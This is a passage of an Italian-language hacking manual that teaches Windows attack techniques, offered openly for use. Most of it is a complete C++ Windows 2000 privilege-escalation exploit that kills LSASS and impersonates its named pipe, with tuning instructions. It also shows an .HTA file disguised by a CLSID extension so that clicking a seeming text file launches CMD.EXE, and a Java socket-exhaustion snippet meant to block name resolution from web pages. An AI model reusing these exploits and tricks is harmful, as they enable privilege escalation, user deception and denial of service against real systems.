Sei sulla pagina 1di 7

Eredit dalle tecniche dei cracker

Nei capitoli precedenti abbiamo visto come potrebbe essere possibile trasferire files su di un sistema remoto attivando TFTP grazie bugs, a email e a pagine html con codice particolare. Negli tessi capitoli era anche riportato il metodo ipotetico per attivare processi i quali al limite potrebbero essere gli stessi programmi trasferiti. A questo punto possiamo vedere come mediante delle metodologie da cracker possibile elevare i privilegi di un utente in ambiente Windows. Chiaramente questo per essere fatto necessario poter scrivere sul sistema remoto e allinterno di HKCR (le voci del registro HKEY_CLASSES_ROOT) Allinterno del sistema esistono dei breakpoint che possono essere utilizzati dai debuggers per interrompere lesecuzione di una procedura ad un certo punto. Tra questi sistemi per attivare dei breakpoint ne esiste uno particolare che costituito dalla presenza di un registro DR0-7 il quale globale per tutte le procedure attive sotto Windows. Se il registro venisse usato per settare un breakpoint, allesecuzione di questo tutti i processi e i servizi verrebbero intaccati. Nel caso del suo uso per procedure di hacking la metodologia pretende due funzioni particolari ovvero linterruzione di un servizio e quindi il dirittamento ramite pipe verso un nostro servizio scritto appositamente. Il programma che segue scritto in C++ esegue il kill di LSASS.EXE e successivamente il tutto viene dirottato su \\.\pipe\lsass // Win2K elevation of privileges // Written by Georgi Guninski http://www.guninski.com // Kind of ugly but works // Check the disclaimer and advisory at http://www.guninski.com/dr07.html #define _WIN32_WINNT #include <stdio.h> #include <windows.h> #include <stdlib.h> // may need to change below /////////////////////////////// DWORD lsasspid=224; // pid of LSASS.EXE //DWORD lsasspid=236; // pid of LSASS.EXE DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it ////////////////////////////// char szPipe[64]="\\\\.\\pipe\\lsass"; HANDLE hProc = NULL; PROCESS_INFORMATION pi; volatile int lsadied = 0; 0x0500

unsigned long __stdcall threadlock(void *v) { Sleep(1000); LockWorkStation(); return 0; } unsigned long __stdcall threadwriter(void *v) { while(!lsadied)

{ FILE *f1; f1=fopen("\\\\.\\pipe\\lsass","a"); if (f1 != NULL) { fprintf(f1,"A"); fclose(f1); } /* */ else printf("%s\n","error writing to pipe"); Sleep(400); } printf("%s\n","Stop writing to pipe"); return 0; } unsigned long __stdcall waitlsadie(void *v) { int lsadied2=0; long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL; if ( !NtQuerySystemInformation ) NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG, ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformat ion" ); typedef struct _tagThreadInfo { FILETIME ftCreationTime; DWORD dwUnknown1; DWORD dwStartAddress; DWORD dwOwningPID; DWORD dwThreadID; DWORD dwCurrentPriority; DWORD dwBasePriority; DWORD dwContextSwitches; DWORD dwThreadState; DWORD dwWaitReason; DWORD dwUnknown2[ 5 ]; } THREADINFO, *PTHREADINFO; #pragma warning( disable:4200 ) typedef struct _tagProcessInfo { DWORD dwOffset; DWORD dwThreadCount; DWORD dwUnknown1[ 6 ]; FILETIME ftCreationTime; DWORD dwUnknown2[ 5 ]; WCHAR* pszProcessName; DWORD dwBasePriority; DWORD dwProcessID; DWORD dwParentProcessID; DWORD dwHandleCount; DWORD dwUnknown3; DWORD dwUnknown4; DWORD dwVirtualBytesPeak; DWORD dwVirtualBytes;

DWORD dwPageFaults; DWORD dwWorkingSetPeak; DWORD dwWorkingSet; DWORD dwUnknown5; DWORD dwPagedPool; DWORD dwUnknown6; DWORD dwNonPagedPool; DWORD dwPageFileBytesPeak; DWORD dwPrivateBytes; DWORD dwPageFileBytes; DWORD dwUnknown7[ 4 ]; THREADINFO ti[ 0 ]; } _PROCESSINFO, *PPROCESSINFO; #pragma warning( default:4200 )

PBYTE pbyInfo = NULL; DWORD cInfoSize = 0x20000; while(!lsadied2) { pbyInfo = ( PBYTE ) malloc( cInfoSize ); NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ; PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo; bool bLast = false; lsadied2 = 1; do { if ( pProcessInfo->dwOffset == 0 ) bLast = true; if (pProcessInfo->dwProcessID == lsasspid) lsadied2 = 0 ; pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset ); } while( bLast == false ); free( pbyInfo ); } printf("LSA died!\n"); lsadied=1; return 0; }

void add_thread(HANDLE thread) { CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS}; //DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0 SuspendThread(thread); GetThreadContext(thread,&ctx); ctx.Dr7=0xd0000540; ctx.Dr6=0xffff0ff0; ctx.Dr3=MAGICESPINLSA; ctx.Dr2=0; ctx.Dr1=0; ctx.Dr0=0; SetThreadContext(thread, &ctx); ResumeThread(thread); // printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0= %x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);

} unsigned long __stdcall threaddeb(void *v) { STARTUPINFO si = { sizeof(STARTUPINFO) }; CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0, CREATE_NEW_CONSOLE,0,0,&si,&pi); Sleep(2000); BOOL status = CreateProcess( 0, "c:\\winnt\\system32\\calc.exe", 0,0,0, DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | CREATE_NEW_CONSOLE, 0,0,&si,&pi); if( !status ) { printf("%s\n","error debugging"); exit(1); } add_thread(pi.hThread); for( ;; ) { DEBUG_EVENT de; if( !WaitForDebugEvent(&de, INFINITE) ) { printf("%s\n","error WaitForDebugEvent"); } switch( de.dwDebugEventCode ) { case CREATE_THREAD_DEBUG_EVENT: add_thread(de.u.CreateThread.hThread); break; } ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE); } } return 0; int main(int argc,char* argv[]) { DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); DWORD dwNumber = 0; char szUser[256]; HANDLE hPipe = 0; if (argc > 1) lsasspid=atoi(argv[1]);

if (argc > 2) sscanf(argv[2],"%x",&MAGICESPINLSA); printf("Fun with debug registers. Written by Georgi Guninski\n"); printf("vvdr started: lsasspid=%d breakp= %x\n",lsasspid,MAGICESPINLSA); CreateThread(0, 0, &threadwriter, NULL, 0, 0); CreateThread(0, 0, &waitlsadie, NULL, 0, 0); CreateThread(0, 0, &threaddeb, NULL, 0, 0); while(!lsadied); printf("start %s\n",szPipe); hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } CreateThread(0, 0, &threadlock, NULL, 0, 0); ConnectNamedPipe (hPipe, NULL); if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL)) { printf ("Failed to read the named pipe.\n"); CloseHandle(hPipe); return 4; } if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } dwSize = 256; GetUserName(szUser, &dwSize); printf ("Impersonating dummy :) : %s\n\n\n\n", szUser); // the action begins FILE *f1; f1=fopen("c:\\winnt\\system32\\vv1.vv","a"); if (f1 != NULL) { fprintf(f1,"lsass worked\n"); fclose(f1); printf("\n%s\n","Done!"); } else printf("error creating file"); fflush(stdout); HKEY mykey; RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey); RegCloseKey(mykey); CloseHandle(hPipe); return 0; }

Un metodo semplice per testare questo sistema di debugging il seguente. Eseguite calc.exe con WINDBG, il debugger di windows. Settate il breakpoint hardware in memoria e scrivete il valore corrente di ESP. Richiamate il taskmgr.exe, il task manager, ed attendete qualche istante. Se ricevete una SINGLE STEP EXCEPTION con una dialog box relativamente ad un processo differente a CALC.EXE allora potenzialmente siete soggetti a questo bug. Il programma in cpp ha due argomenti e precisamente <pid di LSASS.EXE> e <ESP in LSASS.EXE>. Lanciatelo e aspettate qualche istante. Il risultato dovrebbe essere quello di ricevere una exception in LSASS.EXE Un file creato in c:\winnt\system32 eanche una chiave in HKCR. Se LSASS.EXE non viene terminato bloccate e fate ripartire pipe3. Se anche questa volta non capita nulla allora dovrete giocare sui parametri MAGICESPINLSA DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to Questo ESP nel thread in LSASS.EXE. Se ricevete BSOD allora dovrete modificare il parametro e la funzione Sleep().

La falsificazione dei files


Supponiamo di voler inserire dentro ad un files del codice html (.HTA) per voler fare in modo che chi vede il file di fatto ci clicki sopra convinto che questo sia tuttaltra cosa. Il codice dentr ad un file potrebbe essere : <script> a=new ActiveXObject("WSCript.Shell"); a.run("CMD.EXE"); alert("I am .HTA\n Started command prompt"); </script> Come dicevamo prima possibile scrivere il nome del file seguito da un particolare CLSID come nellesempio che segue : tes_hta.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} Guardando il file con lexplorer vedremmo solo la prima parte.

Guardate clickando sul file (sul mio sistema i files TXT sono associati ad un editor di testo il quale dovrebbe essere attivato . Invece ). Viene attivata una shell mediante CMD.EXE

Bloccare la capacit di risolvere un indirizzo


Alcune volte nelle attivit svolte dagli hackers diventa importante bloccare la capacit di un sistema di risolvere un indirizzo. Con poche linee di programma possibile mettere un sistema Windows nellincapacit di farlo. Nei capitoli precedenti abbiamo visto la gestione della rete mediante luso di JAVA. Le due o tre righe che seguono sono appunto scritte in questo linguaggio per fare in modo che al limite queste possano essere anche inserite dentro a pagine WEB. for(i=0;i<m;i++) { try { DatagramSocket d = new DatagramSocket();v.addElement(d);} catch (Exception e) {System.out.println("Exhausted, i="+i);} }